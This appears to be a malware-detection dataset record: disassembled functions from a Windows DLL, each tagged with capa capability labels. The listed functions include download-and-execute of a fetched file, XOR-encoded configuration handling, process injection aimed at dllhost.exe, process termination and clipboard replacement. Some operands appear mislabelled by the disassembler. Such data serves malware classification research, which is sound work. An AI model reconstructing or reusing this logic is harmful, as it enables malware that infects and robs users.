joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180003824
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x20
mov r15, rcx
mov rdi, r9
mov rcx, r9
mov r14, r8
mov rsi, rdx
call qword [r9 + 0x30]
mov r12d, gethostname
jmp 0x1800039ea
mov rcx, rdi
call qword [rdi + 0x30]
xor edx, edx
mov rcx, rdi
mov ebx, eax
call qword [rdi + gethostname]
mov rcx, rax
mov edx, ebx
call qword [r15 + 0x20]
mov ebx, eax
cmp eax, 0xffffffff
je 0x180003a18
mov rcx, rdi
call qword [rdi + 0x30]
cmp eax, ebx
jb 0x1800039f3
mov rcx, rdi
call qword [rdi + 0x30]
cmp eax, ebx
jb 0x1800039e4
test rsi, rsi
je 0x1800039e4
mov r8, r12
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ntdll.dll_memset]
mov rcx, rdi
call qword [rdi + 0x30]
cmp eax, r12d
jb 0x1800039e4
mov r8d, r12d
mov rdx, rsi
mov rcx, rdi
call qword [rdi + 0x20]
mov rax, rsi
mov rcx, r12
xor byte [rax], 0x3a
inc rax
sub rcx, 1
jne 0x1800038d0
mov eax, dword [rsi + 0x28]
mov ebx, dword [rsi + 0x2c]
mov dword [rsp + 0x50], eax
test eax, eax
je 0x1800039d3
mov rcx, rdi
call qword [rdi + 0x30]
test ebx, ebx
je 0x1800039a7
cmp eax, ebx
jb 0x1800039f3
mov edx, dword [rsp + 0x50]
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
xor edx, edx
mov rbp, rax
test rax, rax
je 0x180003a0c
mov rcx, rdi
call qword [rdi + gethostname]
mov r9d, ebx
lea rdx, [rsp + 0x50]
mov r8, rax
mov rcx, rbp
call fcn.18001afe4
mov edx, ebx
mov rcx, rdi
call qword [rdi + 0x40]
test r14, r14
je 0x180003994
movsxd r8, dword [rsp + 0x50]
mov rcx, r8
test r8d, r8d
jle 0x18000396f
mov rax, rbp
xor byte [rax], 0x3a
inc rax
sub rcx, 1
jne 0x18000395e
mov r8d, dword [rsp + 0x50]
cmp dword [rsi + 0x28], r8d
je 0x180003979
mov dword [rsi + 0x28], r8d
mov rdx, rbp
mov rcx, r14
call qword [r14 + 0x28]
mov rcx, qword [r15 + 0xa8]
mov r8, r14
mov rdx, rsi
call qword [r15 + 0x50]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
jmp 0x1800039e4
cmp eax, dword [rsp + 0x50]
jb 0x1800039f3
test r14, r14
je 0x1800039e4
xor edx, edx
mov rcx, rdi
call qword [rdi + gethostname]
mov r8d, dword [rsp + 0x50]
mov rcx, r14
mov rdx, rax
call qword [r14 + 0x28]
mov edx, dword [rsp + 0x50]
mov rcx, rdi
call qword [rdi + 0x40]
mov rcx, qword [r15 + 0xa8]
mov r8, r14
mov rdx, rsi
call qword [r15 + 0x50]
mov rcx, rdi
call qword [rdi + 0x30]
cmp eax, r12d
jae 0x180003858
xor eax, eax
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
mov r8, r12
mov rcx, rsi
call qword [sym.imp.ntdll.dll_memset]
or eax, 0xffffffff
jmp 0x1800039f5
Function at 0x1800045e4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rdi, rcx
mov dword [rbp - 0x30], 0x13121110
xor ecx, ecx
mov dword [rbp - 0x2c], 0x17161514
mov dword [rbp - 0x28], 0x1b1a1918
mov dword [rbp - 0x24], 0x1f1e1d1c
mov dword [rbp - 0x20], 0x23222120
mov dword [rbp - 0x1c], 0x27262524
mov dword [rbp - 0x18], 0x2b2a2928
mov dword [rbp - 0x14], 0x2f2e2d2c
mov dword [rbp - 0x10], 0x33323130
mov dword [rbp - 0xc], 0x37363534
mov dword [rbp - 8], 0x3b3a3938
mov dword [rbp - 4], 0x3f3e3d3c
call qword [sym.imp.msvcrt.dll__time64]
mov ecx, eax
call qword [sym.imp.msvcrt.dll_srand]
xor ebx, ebx
call qword [sym.imp.msvcrt.dll_rand]
movsxd rcx, eax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 5
lea rax, [rdx + rdx*2]
shl rax, 4
sub rcx, rax
movsxd rax, ecx
mov cl, byte [rbp + rax - 0x30]
mov byte [rdi + rbx], cl
inc rbx
cmp rbx, 0x14
jb 0x18000465f
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x50
pop rbp
ret
Function at 0x180004cec
Capabilities:
Terminate process
Terminate thread

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x170]
sub rsp, 0x270
mov rdi, qword [rcx + 0x48]
lea rdx, [rsp + 0x20]
xor eax, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
and dword [rsp + 0x48], eax
mov rcx, rdi
mov qword [rsp + 0x50], rax
and dword [rsp + 0x50], eax
lea r8d, [rax + 0x38]
movups xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x54], 0x2072024
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x44], 5
call qword [rdi + 0x30]
xor edx, edx
lea rcx, [rsp + 0x60]
mov r8d, 0x208
call sub.ntdll.dll_memset
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov ecx, eax
lea rdx, [rsp + 0x60]
call fcn.180014840
mov rax, qword [0x1800609c8]
mov dword [0x1800609fc], 1
mov rbx, qword [rax]
jmp 0x180004d9a
cmp qword [rbx], 0
je 0x180004d96
mov rcx, qword [rbx + 8]
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_TerminateThread]
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x180004d84
mov rax, qword [0x180060a28]
mov rbx, qword [rax]
jmp 0x180004dc1
cmp qword [rbx], 0
je 0x180004dbd
mov rcx, qword [rbx + 8]
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x180004dab
lea rdx, str.Inject_Test
lea rcx, [0x180060988]
call qword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
jne 0x180004df8
mov rcx, rdi
call qword [rdi + 0x18]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.DLL_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_ExitThread]
lea rbx, [0x18005ff30]
mov rcx, rbx
call fcn.180015718
mov rcx, rbx
call fcn.180015554
mov rcx, rbx
call fcn.1800154c8
and qword [rbp + 0x180], 0
lea rcx, [rbp + 0x180]
and qword [rbp + 0x188], 0
call fcn.180003018
mov rcx, qword [rbp + 0x180]
test rcx, rcx
je 0x180004e74
lea rdx, [rbp + 0x188]
call fcn.18000321c
mov rbx, qword [rbp + 0x188]
test rbx, rbx
je 0x180004e74
lea rcx, [0x1800605a0]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov r9, qword [rbx]
xor r8d, r8d
mov rdx, rax
mov rcx, rbx
call qword [r9 + 0x78]
mov rcx, rdi
call qword [rdi + 0x18]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.DLL_Sleep]
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov rcx, rax
mov edx, 0x7b
call qword [sym.imp.KERNEL32.DLL_TerminateProcess]
lea r11, [rsp + 0x270]
xor eax, eax
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x180005458
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
lea rbp, [rsp - 0xf70]
mov eax, 0x1070
call sub.ntdll.dll___chkstk
sub rsp, rax
mov rbx, rcx
xor edx, edx
lea rcx, [rbp + 0x770]
mov r8d, 0x800
call sub.ntdll.dll_memset
xor edx, edx
lea rcx, [rsp + 0x70]
mov r8d, 0x800
call sub.ntdll.dll_memset
and dword [rbp + 0xf88], 0
lea rdx, [rsp + 0x30]
and dword [rbp + 0xf80], 0
xorps xmm0, xmm0
xor eax, eax
mov rcx, rbx
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x40], xmm0
lea r8d, [rax + 0x38]
movups xmmword [rsp + 0x50], xmm0
call qword [rbx + 0x20]
mov r8d, 4
lea rdx, [rbp + 0xf88]
mov rcx, rbx
call qword [rbx + 0x20]
mov r8d, 4
lea rdx, [rbp + 0xf80]
mov rcx, rbx
call qword [rbx + 0x20]
mov r8d, dword [rbp + 0xf80]
test r8d, r8d
je 0x180005599
lea rdx, [rbp + 0x770]
mov rcx, rbx
call qword [rbx + 0x20]
lea rdx, [rsp + 0x70]
call fcn.180013da4
lea rdx, str._temp
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
mov edx, 0x2f
lea rcx, [rbp + 0x770]
call qword [sym.imp.ntdll.dll_wcsrchr]
mov rdx, rax
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
and qword [rsp + 0x20], 0
lea r8, [rsp + 0x70]
xor r9d, r9d
lea rdx, [rbp + 0x770]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x180005599
mov eax, dword [rbp + 0xf88]
lea r8, [rsp + 0x70]
mov dword [rsp + 0x28], eax
lea rdx, str.open
and qword [rsp + 0x20], 0
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rbx, qword [rsp + 0x1090]
xor eax, eax
add rsp, 0x1070
pop rbp
ret
Function at 0x1800058f4
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x70
xorps xmm0, xmm0
xor eax, eax
xor esi, esi
mov qword [rbp - 0x10], rax
movups xmmword [rbp - 0x40], xmm0
mov dword [rbp + 0x20], esi
mov rbx, rcx
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
call fcn.180003698
mov rcx, rax
mov rdi, rax
call fcn.180005664
mov rcx, rbx
call qword [rbx + 0x30]
cmp eax, 0x38
jb 0x180005a2e
lea r8d, [rsi + 0x38]
mov rcx, rbx
lea rdx, [rbp - 0x40]
call qword [rbx + 0x20]
mov rcx, rbx
call qword [rbx + 0x30]
test eax, eax
jne 0x1800059c2
mov dword [rbp + 0x28], esi
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov ecx, eax
lea rdx, [rbp + 0x28]
call qword [sym.imp.KERNEL32.DLL_ProcessIdToSessionId]
cmp dword [rbp + 0x28], esi
jne 0x1800059a3
lea rcx, [0x180057d88]
call fcn.1800148ec
test eax, eax
je 0x18000598f
lea rdx, [rbp + 0x20]
mov ecx, eax
call qword [sym.imp.KERNEL32.DLL_ProcessIdToSessionId]
jmp 0x1800059dd
cmp qword [sym.imp.KERNEL32.DLL_WTSGetActiveConsoleSessionId], rsi
je 0x1800059dd
call qword [sym.imp.KERNEL32.DLL_WTSGetActiveConsoleSessionId]
mov dword [rbp + 0x20], eax
jmp 0x1800059dd
mov qword [rsp + 0x28], rsi
lea r8, [0x18000eaa0]
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
jmp 0x180005a2e
mov rcx, rbx
call qword [rbx + 0x30]
mov r8d, 4
cmp eax, r8d
jne 0x180005a2e
lea rdx, [rbp + 0x20]
mov rcx, rbx
call qword [rbx + 0x20]
mov rcx, rdi
call qword [rdi + 0x30]
mov esi, 0xa88
cmp eax, esi
jne 0x180005a2e
mov dword [rbp - 0x18], esi
call fcn.180003698
mov r8d, gethostname
lea rdx, [rbp - 0x40]
mov rcx, rax
mov rbx, rax
call qword [rax + 0x28]
xor edx, edx
mov rcx, rdi
call qword [rdi + gethostname]
mov r8d, esi
mov rcx, rbx
mov rdx, rax
call qword [rbx + 0x28]
mov edx, dword [rbp + 0x20]
mov rcx, rbx
call fcn.180005628
mov rcx, rbx
call fcn.1800037c0
mov rcx, rdi
call fcn.1800037c0
mov rbx, qword [rsp + 0xa0]
xor eax, eax
add rsp, 0x70
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000632c
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r15
lea rbp, [rsp - 0x190]
sub rsp, 0x290
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x70], rax
mov rbx, rcx
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
call qword [rcx + 0x30]
mov r8d, gethostname
cmp eax, r8d
jbe 0x18000656b
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [rbx + 0x20]
mov rcx, rbx
call qword [rbx + 0x30]
mov r15d, 4
cmp eax, dword [rsp + 0x68]
jne 0x18000646e
xor edx, edx
mov rcx, rbx
call qword [rbx + gethostname]
movsxd rcx, dword [rsp + 0x68]
mov rdi, rax
test rcx, rcx
jle 0x1800063b2
xor byte [rax], 0x3a
inc rax
sub rcx, 1
jne 0x1800063a6
xor edx, edx
lea rcx, [rbp - 0x80]
mov r8d, 0x208
call sub.ntdll.dll_memset
lea rdx, [0x180060794]
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rdx, str.cp.cfg
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
and qword [rsp + 0x30], 0
lea rcx, [rbp - 0x80]
and dword [rbp + 0x1d0], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x40000000
mov dword [rsp + 0x20], r15d
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rsi, rax
test rax, rax
je 0x180006458
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov r8d, dword [rsp + 0x68]
lea r9, [rbp + 0x1d0]
and qword [rsp + 0x20], 0
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_WriteFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
movsxd rax, dword [rsp + 0x68]
test rax, rax
jle 0x18000646e
xor byte [rdi], 0x3a
inc rdi
sub rax, 1
jne 0x180006462
and dword [rbp + 0x1c0], 0
mov rcx, rbx
and dword [rbp + 0x1c8], 0
call qword [rbx + 0x30]
cmp eax, r15d
jbe 0x180006563
mov r8d, r15d
lea rdx, [rbp + 0x1c0]
mov rcx, rbx
call qword [rbx + 0x20]
mov edx, dword [rbp + 0x1c0]
mov esi, 0x1000
mov r8d, esi
mov r9d, r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x180006563
mov rcx, rbx
call qword [rbx + 0x30]
mov r8d, dword [rbp + 0x1c0]
cmp eax, r8d
jbe 0x180006563
mov rdx, rdi
mov rcx, rbx
call qword [rbx + 0x20]
mov rcx, rbx
call qword [rbx + 0x30]
cmp eax, r15d
jbe 0x180006563
mov r8d, r15d
lea rdx, [rbp + 0x1c8]
mov rcx, rbx
call qword [rbx + 0x20]
mov edx, dword [rbp + 0x1c8]
mov r9d, r15d
mov r8d, esi
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x180006563
mov rcx, rbx
call qword [rbx + 0x30]
mov r8d, dword [rbp + 0x1c8]
cmp eax, r8d
jb 0x180006563
mov rdx, rsi
mov rcx, rbx
call qword [rbx + 0x20]
mov rcx, qword [0x1800609b8]
test rcx, rcx
je 0x180006563
mov rdx, rdi
call fcn.180010704
mov r8, rsi
mov rdx, rdi
test rax, rax
je 0x180006557
call fcn.1800107ec
jmp 0x180006563
mov rcx, qword [0x1800609b8]
call fcn.180010678
mov rcx, rbx
call fcn.1800037c0
xor eax, eax
add rsp, 0x290
pop r15
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x18000657c
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r14
lea rbp, [rsp - 0x150]
sub rsp, 0x250
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x208
call sub.ntdll.dll_memset
lea rdx, [0x180060794]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rdx, str.cp.cfg
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x40]
and dword [rbp + 0x190], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1800067bd
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetFileSize]
mov r12d, 4
mov edx, eax
mov r8d, 0x1000
mov r14d, eax
mov r9d, r12d
mov ebx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x1800067af
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x190]
mov r8d, r14d
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x1800067a9
test r14d, r14d
jle 0x18000667b
mov rax, rdi
xor byte [rax], 0x3a
inc rax
sub rbx, 1
jne 0x18000666f
call fcn.180003698
mov r8d, r14d
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call qword [rax + 0x28]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
jmp 0x180006782
mov r8d, r12d
lea rdx, [rbp + 0x180]
mov rcx, rbx
call qword [rbx + 0x20]
mov edx, dword [rbp + 0x180]
mov r9d, r12d
xor ecx, ecx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x18000679f
mov rcx, rbx
call qword [rbx + 0x30]
mov r8d, dword [rbp + 0x180]
cmp eax, r8d
jbe 0x18000679f
mov rdx, rdi
mov rcx, rbx
call qword [rbx + 0x20]
mov rcx, rbx
call qword [rbx + 0x30]
cmp eax, r12d
jbe 0x18000679f
mov r8d, r12d
lea rdx, [rbp + 0x188]
mov rcx, rbx
call qword [rbx + 0x20]
mov edx, dword [rbp + 0x188]
mov r9d, r12d
xor ecx, ecx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov r14, rax
test rax, rax
je 0x18000679f
mov rcx, rbx
call qword [rbx + 0x30]
mov r8d, dword [rbp + 0x188]
cmp eax, r8d
jb 0x18000679f
mov rdx, r14
mov rcx, rbx
call qword [rbx + 0x20]
mov rcx, qword [0x1800609b8]
test rcx, rcx
je 0x180006782
mov rdx, rdi
call fcn.180010704
mov r8, r14
mov rdx, rdi
test rax, rax
je 0x180006776
call fcn.1800107ec
jmp 0x180006782
mov rcx, qword [0x1800609b8]
call fcn.180010678
and dword [rbp + 0x180], 0
mov rcx, rbx
and dword [rbp + 0x188], 0
call qword [rbx + 0x30]
cmp eax, r12d
ja 0x1800066a5
mov rcx, rbx
call fcn.1800037c0
jmp 0x1800067af
call qword [sym.imp.KERNEL32.DLL_GetLastError]
test rsi, rsi
je 0x1800067bd
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rbx, qword [rsp + 0x298]
xor eax, eax
add rsp, 0x250
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800067d8
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x230
mov rbx, qword [0x1800609b8]
mov edx, gethostname
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_IsBadReadPtr]
test eax, eax
jne 0x180006839
test rbx, rbx
je 0x180006839
lea rcx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
jmp 0x180006826
lea rdx, [rax - 1]
mov rcx, rbx
call fcn.1800108f8
mov rdx, rax
mov rcx, rbx
call fcn.180010868
mov rax, qword [rbx + 8]
test rax, rax
jne 0x18000680f
lea rcx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x208
call sub.ntdll.dll_memset
lea rdx, [0x180060794]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rdx, str.cp.cfg
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_DeleteFileW]
mov rbx, qword [rsp + 0x240]
xor eax, eax
add rsp, 0x230
pop rdi
ret
Function at 0x180006890
Capabilities:
Encode data using xor
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0xc00]
sub rsp, 0xd00
mov rdi, rcx
call fcn.180003698
mov rcx, rdi
mov rsi, rax
call qword [rdi + 0x30]
xor edx, edx
mov rcx, rdi
mov ebx, eax
call qword [rdi + gethostname]
mov r8d, ebx
mov rcx, rsi
mov rdx, rax
call qword [rsi + 0x28]
mov rcx, rdi
call fcn.1800037c0
xorps xmm0, xmm0
lea rdx, [rsp + 0x30]
xor eax, eax
mov rcx, rsi
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x40], xmm0
lea r8d, [rax + 0x38]
movups xmmword [rsp + 0x50], xmm0
call qword [rsi + 0x20]
mov ebx, 0xa88
lea rcx, [rbp + 0x170]
mov r8d, ebx
xor edx, edx
call sub.ntdll.dll_memset
movzx eax, word [0x1800609f8]
lea rcx, [rbp + 0x170]
mov rdx, qword [0x180060a30]
mov word [rbp + 0x270], ax
call qword [sym.imp.KERNEL32.DLL_lstrcatA]
mov eax, dword [0x1800609e8]
cmp eax, 1
jne 0x18000694e
lea rdx, [0x180057d08]
jmp 0x180006960
lea rdx, [0x180057d00]
test eax, eax
je 0x180006960
lea rdx, str.HTTP
lea rcx, [rbp + 0x272]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
xor edx, edx
mov rcx, rsi
call qword [rsi + gethostname]
mov rcx, rsi
mov rdi, rax
call qword [rsi + 0x30]
mov r15d, eax
xor ecx, ecx
xor byte [rbp + rcx + 0x170], 0x3a
inc rcx
cmp rcx, rbx
jl 0x180006983
lea rcx, [r15 - 0xa8c]
mov r8, rbx
add rcx, rdi
lea rdx, [rbp + 0x170]
call qword [sym.imp.ntdll.dll_memcpy]
and qword [rbp + 0xc38], 0
call fcn.18000bdc0
mov rcx, rdi
mov rbx, rax
call qword [rax + gethostname]
xor edx, edx
lea rcx, [rsp + 0x70]
mov r8d, 0x200
mov r14d, eax
call sub.ntdll.dll_memset
cmp r14d, 0x20
jne 0x1800069fc
lea rdx, [rsp + 0x70]
call fcn.180013da4
lea rdx, str._syswow64
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
jmp 0x180006a1b
cmp r14d, 0x40
jne 0x180006a1b
lea edx, [r14 + 0x24]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
test eax, eax
jne 0x180006a1b
call qword [sym.imp.KERNEL32.DLL_GetLastError]
lea rdx, str.dllhost.exe
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
and dword [rbp + 0xc30], 0
lea rcx, [0x180057d88]
call fcn.1800148ec
test eax, eax
je 0x180006aae
lea rdx, [rbp + 0xc30]
mov ecx, eax
call qword [sym.imp.KERNEL32.DLL_ProcessIdToSessionId]
mov eax, dword [rbp + 0xc30]
test eax, eax
jne 0x180006a68
mov eax, 1
mov dword [rbp + 0xc30], eax
lea rcx, [rbp + 0xc38]
mov r9d, eax
mov qword [rsp + 0x20], rcx
mov r8d, r15d
lea rcx, [rsp + 0x70]
mov rdx, rdi
call qword [rbx + 0x18]
mov rcx, rsi
call fcn.1800037c0
mov rcx, rbx
call fcn.18000bf34
mov rbx, qword [rsp + 0xd40]
xor eax, eax
add rsp, 0xd00
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
cmp qword [sym.imp.KERNEL32.DLL_WTSGetActiveConsoleSessionId], 0
je 0x180006a53
call qword [sym.imp.KERNEL32.DLL_WTSGetActiveConsoleSessionId]
mov dword [rbp + 0xc30], eax
jmp 0x180006a59
Function at 0x180006d48
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rax, qword [0x1800609b8]
test rax, rax
je 0x180006f09
cmp qword [rax + 8], 0
jbe 0x180006f09
xor edx, edx
xor ecx, ecx
call qword [gethostname]
xor ecx, ecx
mov r13, rax
call qword [gethostbyname]
mov rbx, qword [0x1800609b8]
xor esi, esi
mov r12d, eax
cmp qword [rbx + 8], rsi
jbe 0x180006f09
mov rdx, rsi
mov rcx, rbx
call fcn.1800108f8
mov rbx, qword [0x1800609b8]
mov r14, rax
test rbx, rbx
je 0x180006e0d
cmp rsi, qword [rbx + 8]
jae 0x180006e0d
lea rcx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov rdx, qword [rbx]
xor r8d, r8d
jmp 0x180006dea
cmp r8, rsi
jae 0x180006def
mov rdx, qword [rdx + 0x10]
inc r8
test rdx, rdx
jne 0x180006dde
xor edi, edi
test rdx, rdx
je 0x180006dfa
mov rdi, qword [rdx + 8]
lea rcx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
mov rbx, qword [0x1800609b8]
jmp 0x180006e0f
xor edi, edi
test r14, r14
je 0x180006e57
test rdi, rdi
je 0x180006e57
xor ebp, ebp
test r12d, r12d
je 0x180006e57
lea r15, [rbp*2]
mov rcx, r14
add r15, r13
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov rdx, r14
mov rcx, r15
add eax, eax
movsxd r8, eax
call qword [sym.imp.ntdll.dll_memcmp]
test eax, eax
je 0x180006e69
inc ebp
cmp ebp, r12d
jb 0x180006e20
mov rbx, qword [0x1800609b8]
inc rsi
cmp rsi, qword [rbx + 8]
jb 0x180006dac
jmp 0x180006f09
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov rcx, rdi
cmp eax, ebx
jg 0x180006e87
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov rdx, rdi
mov rcx, r15
add eax, eax
movsxd r8, eax
call qword [sym.imp.ntdll.dll_memcpy]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
jne 0x180006eb0
call qword [sym.imp.USER32.dll_CloseClipboard]
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, r12
mov ecx, 2
call qword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x180006f09
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GlobalLock]
mov rdi, rax
test rax, rax
je 0x180006f09
mov r8, r12
mov rdx, r13
mov rcx, rax
call qword [sym.imp.ntdll.dll_memcpy]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_GlobalUnlock]
mov rdx, rdi
mov ecx, reloc.WS2_32.dll_listen
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
mov rbx, qword [rsp + 0x50]
xor eax, eax
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret